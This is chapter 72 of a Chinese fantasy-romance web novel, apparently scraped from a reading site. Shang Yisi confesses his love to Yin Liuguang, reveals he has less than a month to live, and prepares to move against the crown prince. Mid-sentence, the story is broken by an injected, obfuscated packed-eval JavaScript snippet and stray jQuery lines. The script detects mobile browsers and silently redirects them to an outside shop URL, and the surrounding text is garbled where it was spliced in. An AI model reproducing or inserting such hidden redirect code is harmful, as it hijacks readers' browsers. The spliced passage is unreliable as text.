72.天不假年

作品:《大王,封口费交一下

    石破天惊的一句话,那一瞬间,苏胥脸上血色尽失。


    虽然他仍然嘴硬不承认,但看着他煞白的唇色,就知道聪敏如苏胥,只怕是已经明白了商遗思所言非虚。


    他那名叫做“苏特”的养父,或许在更早之前,就已经因为某些端倪被苏胥怀疑。


    那之后,商遗思便没有再回答苏胥的任何问题,拉着殷流光离开。


    鉴水的声音响在身后:“备热水来!六郎的毒需要好好地蒸出来才行!”


    殷流光被商遗思拽到了书房,察觉到他要离开,她立刻警觉地拽住他的衣袖:“你装病骗我来,难道是要将我囚禁在这座宅子?”


    “我告诉过你,我不认同你单方面保护方外兽的做法,也不认同夜神司将方外兽看做诅咒妖兽,斩尽杀绝的做法,方外兽未来的生路,我会靠自己找到。”


    商遗思静静望着她,蓦然一笑,伸手揉了揉她的脑袋:“这么像模像样大义凛然?我都有些不认识了。”


    “我眼前这个说要为所有方外兽找到第三条生路的殷流光,跟当初那个在祁承筠面前装小家碧玉的殷流光是不是同一个人?”


    “当然是。”殷流光笃定地回答:“从前那个想要荣华富贵是是我,现在这个想要保护他人的也是我。”


    商遗思黑沉的瞳孔微微一缩。


    眼前女子声音不大,却有着坚定的力量:“除夕那夜,你说陇幽万家安乐,就是商氏英魂得享祭祀之时,那个时候我只是很气恼你为什么怜悯那么多素不相识的人,却唯独不怜悯眼前的我。”


    “但这些日子我明白了。”她的语气很温柔:“我得到了这份守护的力量,又蒙受你的庇护得到了金仙铃,变得更强大,这份你教给我的守护的力量,我也想带给别人。”


    看到因为长了兔耳朵所以就要被家里人丢进河里的小女孩、


    胳膊上长出白色的毛被爹娘请来巫医在祠堂里抽得奄奄一息的书生、


    还有颤巍巍走到善观寺,在佛祖面前长跪不起只求一死的长了猪尾的老婆婆……


    她心中的愤怒越来越深……这些都是和她一样活生生的人,没有谁做了任何的错事,却要因为与正常人类不同而被惧怕、殴打、丢弃……


    她感同身受这份孤苦无依,哀求无门的痛苦,她想要伸出手,像商遗思用濯麟守护陇幽那样,用自己手中的金仙铃守护这些“同族”。


    肩膀轻动,是商遗思将她轻柔地拉进怀中,他低下头,额间抵在她的额间,两人鼻尖相蹭。


    “没想到,我对你影响这么大……?”


    殷流光如同一霎被闪电击中,浑身僵硬无法动弹。


    这么亲密的姿势,这么亲昵温柔的动作……真的是商遗思能做出来的吗?是不是在她不知道的地方,商遗思跟苏胥掉包了?


    她狐疑着伸手去捏他的脸颊,却被他一把握住,低低哼笑:“我这样,你觉得我不是我了?”


    他又笑了一声,嗓音还带着大病初愈的沙哑,他背抵在书桌旁,就这么半拥着殷流光,整个人都像是彻底放松下来的大猫……卸掉一身冰雪,里头居然是毛茸茸的。


    “四年前你没见过我,那个时候初入长安,还不知收敛,横冲直撞,恣意妄为,几乎将整个长安高门都得罪了个遍。”


    殷流光确实没有见过四年前的商遗思,她推了推他:“大王忽然跟我说这些,是什么意思?”


    “你明明已经猜到了。”他捉住她试探的目光,弯了唇:“我认输了,殷流光。”


    “不论是我的心意,还是我瞒着你做的那些事,我都会对你坦诚。”


    “只要你能接得住这真相的重量。”


    殷流光心中有什么东西怦然炸开,她恍然觉得自己沉浸在无比巨大的幸福中,勉强让自己的嗓音镇定下来,不露出过于失态的情绪:“你放心,就连蓬莱殿跟太子私宅我都能全身而退,我会接住的……商遗思。”


    她轻咳一声,小声地补充:“以后,我可以……不叫大王,而是直接叫你的名字吗?”


    商遗思握住她的手,放在自己脸上,轻轻蹭了蹭:“当然可以,四娘。”


    窗外鸟雀啁啾,木芙蓉灼灼而放,艳色之旁,沉香木高大无声地矗立着,以它古朴的颜色衬托着木芙蓉的殊丽,仿佛一木一花自盘古开天辟地以来就如此紧密地依存着。


    殷流光猜过商遗思瞒着自己的是什么事。


    结合除夕夜那些语焉不详的话和八月节这个重点,还有最近襄王投靠太子的传言,殷流光有三个猜想。


    第一个猜想,商遗思已经利用自己遍布长安的情报网暗中拉拢了不少群臣,等太子宣布登基就以太子私德有亏为由废太子,另从皇族旁支选幼帝即位,他来当摄政王。


    第二个猜想,商遗思其实早就是公主党,准备表面投靠迷惑太子,实则暗度陈仓放出长公主,拥立长公主即位。


    第三个猜想,他准备干掉太子,端掉长公主,自己称帝。


    若是他想要庇护天下方外兽,就要有无上权力,而这权力,只有可能来自蓬莱殿。


    只是她没想到,她猜到了他因为怜悯和庇护之心而生出的野心,却没猜到……今年八月节被反复提及的意义,是这个刚刚对自己袒露了所有心意的男人,只剩下不到一个月可活的事实。


    说出这个事实的本人十分坦然望着她:“我一直拒绝你,也是因为知道被留下的人,往往才是最伤心的那个。”


    但接收事实的人却已经濒临崩溃,因着大喜大悲而双唇颤抖,说出的话破碎不成调:“你说鉴水跟你说过,好好休养不理政事还能多活三五年,你为什么不听他的?”


    “若当真听了他的话遁入青雾山,我怎么会有机会遇见你?秋猎那一夜你撞进的若是他人的帐篷……”


    他顿了顿,竟然不顾仪态,皱着眉轻声“啧”了一声:“果然,只是想想就觉得无法忍受。”


    “什么生不生死不死的,鉴水不行那就去找别人,对了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358612|193637||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,长公主不也是缠绵病榻吗,她身边一定有天底下最好的大夫,不、不行,我再去趟鬼市,只要肯给魍郎君银钱,就连西域高僧他都有办法带过来……”


    商遗思曲起手指,抵在慌乱的殷流光双唇中央,目光温柔:“四娘,你不知道遇见你之后,我有多想跟你一起活下去。”


    “你能想到的办法,想不到的办法,我都试过了……只可惜我终究是凡胎一具,当年靠着复仇之心能从鬼方狼群的撕咬中捡回一条命,已经是上天怜悯,借我寿命。”


    他的指尖冰凉,一向冷肃的脸上今日温柔的笑意却特别多:“来长安遇见你,更是天神眷顾,你让我觉得,这些年付出的一切都有了意义。”


    “所以不要如此伤心,就像你当初说的那样,既然两心相悦,何妨用这一个月的时间春风一度?”


    “只是在拥有独属于你我二人的时间之前,还要稍微抽出些时间,将不该手持神器,残虐百姓的人……处决。”


    他说的,自然是太子。


    商遗思这段时间没有公开表态质疑太子,果然只是在伺机而动。


    那之后过了很久,直到黄昏,殷流光才慢慢被商遗思安抚平静了下来,听他指着桌上太子私宅的详细布防图,将自己的筹谋托盘而出。


    那夜长公主的奏折的确是太子伪造,前一夜的天葩乐班中,混入了一只被太子用咒术控制的兔子,其他兔子都是真兔子,唯有那只,是方外兽。


    趁着演出,那只兔子仗着身形娇小无人察觉,按照太子指引的路线潜入蓬莱殿,偷换了案上的奏折。


    太子显然已经暗地准备良久,不仅用一道奏折就另天子幽禁亲姐,之后商遗思暗中查探,天子如同先祖那般夜夜恶梦,这也是太子的手笔。


    “咒父囚姑母……他为何这么着急?”殷流光还是有些难以想象,柔善之名满天下的太子为何会骤然发难,对自己的血亲做如此扭曲残忍之事。


    “因为若他再晚几天,团圆楼之案的真相便会被我呈到天子案前。”


    原来如此……太子不想他暗中利用方外兽操控群臣的事被发现,所以选择先下手为强。


    他的下一个矛头本该就是商遗思,也因此那夜殷流光才会被太子逮到,但太子没能轻易动得了商遗思,这几个月,在殷流光不知道的地方……太子已经暗中设伏无数。


    如今日苏胥这般的刺杀,已经不下数十人,但都没能进得了商遗思的身。


    这些暗地里的交锋,谁都清楚双方已经到了不死不休的地步,但表面上仍是其乐融融的君臣。


    一个以柔善为画皮的监国太子,要想拉拢人心,就不能在明面上动有着收复失地之功,被他的父亲亲自赐予异姓王封号的襄王商遗思。


    但为了安心登上那个至高无上的位子,太子暗中疯狂地迫使伏月做出这世间最可怖的方外兽,他在等能将商遗思一击毙命的机会。


    商遗思也在等。


    他在等一个弑君的时机。